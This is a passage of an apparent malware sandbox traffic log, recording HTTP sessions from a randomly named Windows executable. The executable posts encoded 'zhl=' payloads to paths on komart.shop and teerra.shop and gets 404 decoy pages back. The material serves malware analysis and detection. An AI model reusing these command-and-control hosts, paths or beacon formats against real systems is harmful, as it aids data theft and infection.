75%,#fdc000 100%); background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50
Nov 5, 2024 15:23:41.940345049 CET	212	IN	Data Raw: 25 2c 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2c 20 23 66 64 63 30 30 30 20 37 35 25 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a Data Ascii: %, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%); background-size:452px auto;height:3px; } .mainContainer{ width:1000px; margin:0px auto; }
Nov 5, 2024 15:23:41.940356016 CET	1236	IN	Data Raw: 20 20 20 20 20 20 2e 6c 6f 67 6f 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 31 38 70 78 20 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 7d 0a Data Ascii: .logo{ margin-top:3px; padding:18px 0px; } .content{ background-color:#fff; border-radius:4px; border-left:1px solid #e9e9e9; border-right:1px soli
Nov 5, 2024 15:23:41.940645933 CET	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 2e 64 6f 6d 61 69 6e 2d 63 6f 6c 6f 72 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 23 30 30 38 36 44 35 3b 20 0a 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 2e 6d 61 69 6e 2d 69 6e Data Ascii: .domain-color{ color:#0086D5; } .main-info{ margin-top: 40px; } .main-info li { font-size: 16px; padding: 10px 0; list-style:no
Nov 5, 2024 15:23:41.940660000 CET	1236	IN	Data Raw: 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 43 6f 6c 6f 72 73 22 Data Ascii: ative; } </style> </head> <body> <div class="topColors"></div> <div class="mainContainer"> <div class="logo"><img src="https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb" alt="Zoho"></div>
Nov 5, 2024 15:23:41.940670967 CET	11	IN	Data Raw: 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: y></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	55722	133.130.35.90	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:47.544778109 CET	793	OUT	POST /8r0w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.komart.shop/8r0w/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 51 78 6a 48 71 49 36 6b 75 67 39 74 52 2f 71 38 36 72 45 77 59 31 6b 43 45 56 4d 67 46 36 77 76 76 6b 78 79 66 4b 36 47 32 67 39 70 72 71 6f 44 2b 33 33 59 56 71 72 49 35 52 76 37 45 6d 6d 32 72 5a 33 4f 2f 50 71 59 37 55 75 75 73 71 57 69 39 41 70 6d 44 4b 4a 58 35 42 56 73 77 70 65 7a 4a 68 76 71 6a 32 4b 36 46 6f 4a 37 55 63 2f 54 42 71 55 57 35 4f 6b 74 58 34 39 66 78 6d 56 78 47 78 6a 5a 6c 74 51 57 62 55 33 57 52 42 52 37 6f 4b 67 4f 4e 70 55 46 61 41 37 38 43 64 76 63 68 4a 6f 72 65 73 32 63 6c 4c 38 47 47 36 71 51 41 43 56 2b 33 4a 51 6c 72 4e 79 54 56 48 42 6a 4c 67 3d 3d Data Ascii: zhl=QxjHqI6kug9tR/q86rEwY1kCEVMgF6wvvkxyfK6G2g9prqoD+33YVqrI5Rv7Emm2rZ3O/PqY7UuusqWi9ApmDKJX5BVswpezJhvqj2K6FoJ7Uc/TBqUW5OktX49fxmVxGxjZltQWbU3WRBR7oKgONpUFaA78CdvchJores2clL8GG6qQACV+3JQlrNyTVHBjLg==
Nov 5, 2024 15:23:48.412935972 CET	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Tue, 05 Nov 2024 14:23:48 GMT etag: W/"67231618-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	55729	133.130.35.90	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:50.096906900 CET	813	OUT	POST /8r0w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.komart.shop/8r0w/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 51 78 6a 48 71 49 36 6b 75 67 39 74 65 38 43 38 38 49 38 77 61 56 6b 42 42 56 4d 67 54 4b 77 72 76 6b 4e 79 66 4c 2f 5a 32 57 46 70 72 4f 73 44 2f 32 33 59 51 71 72 49 72 78 76 30 4c 47 6d 78 72 65 2f 47 2f 4b 43 59 37 55 36 75 73 72 6d 69 39 7a 42 6c 43 61 4a 56 68 78 55 71 75 5a 65 7a 4a 68 76 71 6a 33 36 51 46 6f 52 37 55 74 76 54 43 4c 55 52 33 75 6b 73 51 34 39 66 6e 57 55 34 47 78 6a 42 6c 76 6c 78 62 57 66 57 52 46 5a 37 70 59 59 4e 43 70 55 66 55 67 36 4d 55 66 79 37 76 73 68 4c 56 39 6a 39 76 71 4d 68 44 38 37 4b 52 7a 30 70 6c 4a 30 57 32 4b 37 6e 59 45 38 71 51 6c 36 36 57 35 65 39 41 31 55 65 65 6b 62 61 39 51 71 63 6c 72 63 3d Data Ascii: zhl=QxjHqI6kug9te8C88I8waVkBBVMgTKwrvkNyfL/Z2WFprOsD/23YQqrIrxv0LGmxre/G/KCY7U6usrmi9zBlCaJVhxUquZezJhvqj36QFoR7UtvTCLUR3uksQ49fnWU4GxjBlvlxbWfWRFZ7pYYNCpUfUg6MUfy7vshLV9j9vqMhD87KRz0plJ0W2K7nYE8qQl66W5e9A1Ueekba9Qqclrc=
Nov 5, 2024 15:23:50.978941917 CET	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Tue, 05 Nov 2024 14:23:50 GMT etag: W/"67231618-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	55730	133.130.35.90	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:52.651947975 CET	10895	OUT	POST /8r0w/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.komart.shop/8r0w/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 51 78 6a 48 71 49 36 6b 75 67 39 74 65 38 43 38 38 49 38 77 61 56 6b 42 42 56 4d 67 54 4b 77 72 76 6b 4e 79 66 4c 2f 5a 32 56 6c 70 71 39 6b 44 2b 56 66 59 58 71 72 49 77 78 76 6b 4c 47 6e 30 72 59 58 34 2f 4b 4f 6d 37 57 43 75 74 4a 75 69 71 79 42 6c 49 61 4a 56 6f 52 56 74 77 70 65 71 4a 68 2f 32 6a 33 4b 51 46 6f 52 37 55 75 6e 54 55 71 55 52 36 4f 6b 74 58 34 39 44 78 6d 55 51 47 78 37 52 6c 73 4a 4c 61 6e 2f 57 51 6b 6c 37 71 74 30 4e 4c 70 55 42 54 67 36 55 55 66 2b 6b 76 73 56 35 56 39 57 6f 76 71 34 68 43 5a 4f 6e 4d 33 6f 32 2b 75 5a 4c 72 49 2f 39 51 57 77 4d 56 6c 37 48 57 63 58 39 62 46 6f 68 52 31 6d 33 6c 77 4c 5a 77 65 67 75 46 69 45 2b 4e 76 54 53 2b 2b 44 35 6c 4e 51 4d 6c 4d 35 47 79 4a 75 37 67 48 66 44 4d 71 68 6b 6b 4c 53 47 6a 67 7a 33 4c 42 6d 4f 75 39 52 6c 65 47 75 71 35 45 54 34 56 55 72 53 7a 74 77 47 31 30 73 56 32 56 69 4c 6b 58 70 37 68 41 76 4c 75 53 50 33 6d 6f 43 62 57 70 31 47 2f 4e 47 4e 54 74 79 61 37 44 6b 69 61 4a 78 2f 73 48 62 46 65 53 6a 32 52 41 [TRUNCATED] Data Ascii: zhl=QxjHqI6kug9te8C88I8waVkBBVMgTKwrvkNyfL/Z2Vlpq9kD+VfYXqrIwxvkLGn0rYX4/KOm7WCutJuiqyBlIaJVoRVtwpeqJh/2j3KQFoR7UunTUqUR6OktX49DxmUQGx7RlsJLan/WQkl7qt0NLpUBTg6UUf+kvsV5V9Wovq4hCZOnM3o2+uZLrI/9QWwMVl7HWcX9bFohR1m3lwLZweguFiE+NvTS++D5lNQMlM5GyJu7gHfDMqhkkLSGjgz3LBmOu9RleGuq5ET4VUrSztwG10sV2ViLkXp7hAvLuSP3moCbWp1G/NGNTtya7DkiaJx/sHbFeSj2RAS7o1HqbDYI/4eECoupkiA5KtxQ9DA4SW9W4ydDOXt6PQX2xu31QsjPZlTGt4mxukZsfJw+iRwoptFXcMpaFpDePapB41dAWH6cLEJCv56BsTiyS/Dw+eRH5fOXjwT3TW0N5r7glZgajYitlv51ZJLH83b/lz6vOK7SHmv+89RNJ8ZyRTuLqHX+Z4RS0EbAqy9yIFXlsI1oFOLDbzlZ0zyZFXRPkUHMKtLbUiooHF2A3fxiacUwFNAqjxWgEdONfFuvJxCJLRHiweoBzDP1IgBnTDSzBbkGv1jDrMsY2RNdJugtKjPkZUy/UfJmtBYDelk2QY02FFutf99tXaBG9mxggewonxdJui+rBDvny8VDqI/+xZDrsaLn/j2BUyf3l0nIHVmZs6biByYt+NDp+aoz1YlHI4bF/M4SMIjI1Lx7O7YnOsHIm50Vhob5aydny2+q+btGCrJjm/puf9F27/cvJx7T9jiJKK310E7HcORP7asr0E2D90sG+2ivoMuoQoEPbHOiO060GnjtlUvKUPEFprpju31GrTxaAcWxcLSOhTltHSfg7RZE7mh43m4LecLWDLr8fV5R4/thRjjfYb9IH1m6d0OWzwficO0wlbMwbX+/dRrfZjNJfFQUNs8EyfNUIxMisczS1KanVbj65ynkXoy2qDcqc0IA [TRUNCATED]
Nov 5, 2024 15:23:53.540708065 CET	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Tue, 05 Nov 2024 14:23:53 GMT etag: W/"67231618-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	55731	133.130.35.90	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:23:55.185609102 CET	536	OUT	GET /8r0w/?X8Rx1=znhhIbB8nN&zhl=dzLnp/+gugxgWqqjxp0mT2IbFg5vFvQvzyx0DqvE635uns4HxFL1cM/nxlijH3CXr4Dn+r6a2xCcjbq3+Q1mOYlqiQ0t9purOwXAnxy8DKlJc7DWVLNExsI= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.komart.shop Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:23:56.084033966 CET	883	IN	HTTP/1.1 404 Not Found content-type: text/html date: Tue, 05 Nov 2024 14:23:55 GMT etag: W/"67231618-2b5" server: nginx vary: Accept-Encoding content-length: 693 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e a4 b3 a4 ce a5 da a1 bc a5 b8 a4 cf c2 b8 ba df a4 b7 a4 de a4 bb a4 f3 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 65 75 63 2d 6a 70 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 65 72 72 6f 72 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 65 72 72 6f 72 22 3e 0a 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2f 65 72 72 6f 72 2f 65 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head> <title></title> <meta http-equiv="content-type" content="text/html; charset=euc-jp" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="/css/error.css"></head><body><div class="p-error"> <img src="/img/error/error.png" alt="" class="p-error__image"> <div class="p-error__message"> <p> <br> 30 </p> <p> <a href="/">TOP</a> </p> </div></div><script> setTimeout("redirect()", 30000); function redirect(){ location.href="/"; }</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	55732	3.33.130.190	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:01.269614935 CET	793	OUT	POST /szao/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.teerra.shop Origin: http://www.teerra.shop Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.teerra.shop/szao/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 38 4d 45 79 75 51 66 4c 45 35 31 67 6a 69 54 4a 69 31 6d 55 59 38 59 7a 54 2f 6d 52 48 56 36 6c 4d 7a 2b 39 74 47 70 4f 6c 31 38 6d 48 4f 50 65 69 6b 6f 6d 30 4e 6a 6f 6b 61 34 38 67 56 33 6d 79 76 76 6c 45 33 59 54 55 7a 61 44 65 61 7a 78 7a 76 59 6f 43 57 66 6f 43 59 57 6f 38 52 50 78 75 69 50 67 64 6e 4f 5a 64 59 4b 78 46 30 4f 74 42 2b 38 6b 74 52 37 49 75 45 6b 6a 4a 2f 42 62 30 45 35 6b 54 43 31 6b 44 63 4e 36 66 31 35 77 42 45 41 44 43 56 49 2b 35 7a 49 79 59 51 62 35 67 57 43 61 30 39 6e 65 4d 31 41 39 56 34 61 32 63 2b 7a 69 6a 49 69 36 38 62 41 2f 4a 4b 4d 63 4e 41 3d 3d Data Ascii: zhl=8MEyuQfLE51gjiTJi1mUY8YzT/mRHV6lMz+9tGpOl18mHOPeikom0Njoka48gV3myvvlE3YTUzaDeazxzvYoCWfoCYWo8RPxuiPgdnOZdYKxF0OtB+8ktR7IuEkjJ/Bb0E5kTC1kDcN6f15wBEADCVI+5zIyYQb5gWCa09neM1A9V4a2c+zijIi68bA/JKMcNA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	55733	3.33.130.190	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:03.812220097 CET	813	OUT	POST /szao/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.teerra.shop Origin: http://www.teerra.shop Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.teerra.shop/szao/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 38 4d 45 79 75 51 66 4c 45 35 31 67 69 44 6a 4a 67 55 6d 55 4d 73 59 30 57 2f 6d 52 4d 31 37 4e 4d 7a 69 39 74 48 38 46 6c 6e 59 6d 47 72 72 65 6a 6c 6f 6d 68 4e 6a 6f 38 71 35 32 75 31 33 74 79 76 7a 74 45 33 30 54 55 7a 4f 44 65 62 6a 78 7a 64 77 6e 44 47 66 71 4f 34 58 75 34 52 50 78 75 69 50 67 64 6e 61 7a 64 59 53 78 46 48 57 74 51 76 38 6e 72 68 37 48 70 45 6b 6a 43 66 41 53 30 45 35 43 54 48 52 4f 44 61 42 36 66 31 70 77 42 52 67 45 62 6c 49 30 6e 44 4a 4d 57 44 47 58 35 47 4c 43 36 76 58 6d 53 30 77 36 51 2b 4c 73 4e 50 53 31 78 49 47 4a 68 63 4a 4c 45 4a 78 56 57 50 43 46 69 4f 6b 35 2b 74 59 63 78 6b 39 52 46 54 6f 68 47 5a 4d 3d Data Ascii: zhl=8MEyuQfLE51giDjJgUmUMsY0W/mRM17NMzi9tH8FlnYmGrrejlomhNjo8q52u13tyvztE30TUzODebjxzdwnDGfqO4Xu4RPxuiPgdnazdYSxFHWtQv8nrh7HpEkjCfAS0E5CTHRODaB6f1pwBRgEblI0nDJMWDGX5GLC6vXmS0w6Q+LsNPS1xIGJhcJLEJxVWPCFiOk5+tYcxk9RFTohGZM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	55734	3.33.130.190	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:06.362786055 CET	10895	OUT	POST /szao/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.teerra.shop Origin: http://www.teerra.shop Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.teerra.shop/szao/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 38 4d 45 79 75 51 66 4c 45 35 31 67 69 44 6a 4a 67 55 6d 55 4d 73 59 30 57 2f 6d 52 4d 31 37 4e 4d 7a 69 39 74 48 38 46 6c 6e 51 6d 47 59 54 65 69 47 41 6d 6e 39 6a 6f 69 61 35 37 75 31 33 77 79 76 37 70 45 33 49 6c 55 78 32 44 52 63 6a 78 78 73 77 6e 4a 47 66 71 54 6f 57 70 38 52 4f 70 75 69 66 6b 64 6e 4b 7a 64 59 53 78 46 43 61 74 51 2b 38 6e 70 68 37 49 75 45 6b 6e 4a 2f 42 33 30 41 55 35 54 47 51 37 43 71 68 36 66 56 5a 77 4d 43 49 45 53 6c 49 36 6d 44 4a 45 57 44 4b 55 35 47 58 4f 36 76 50 41 53 30 45 36 63 35 71 71 65 4e 57 4b 70 70 61 31 37 63 64 37 47 5a 68 34 53 4d 2f 35 76 64 49 44 38 76 77 4a 79 6e 6f 66 42 77 34 43 55 4f 77 57 6c 74 6c 44 59 54 56 54 2b 66 6a 72 67 43 69 64 39 34 64 43 4c 65 71 47 66 32 7a 48 71 30 39 68 6b 55 47 38 67 42 73 72 38 39 31 45 45 67 48 2b 51 53 4d 61 70 4d 79 4d 6f 42 78 52 6d 71 46 33 61 56 52 39 41 65 4a 7a 30 6a 42 51 61 74 38 77 59 62 62 78 4a 2f 39 45 42 32 78 76 36 56 69 52 6c 44 5a 48 48 70 48 47 6b 46 56 55 77 74 74 54 70 44 70 32 6e 39 [TRUNCATED] Data Ascii: 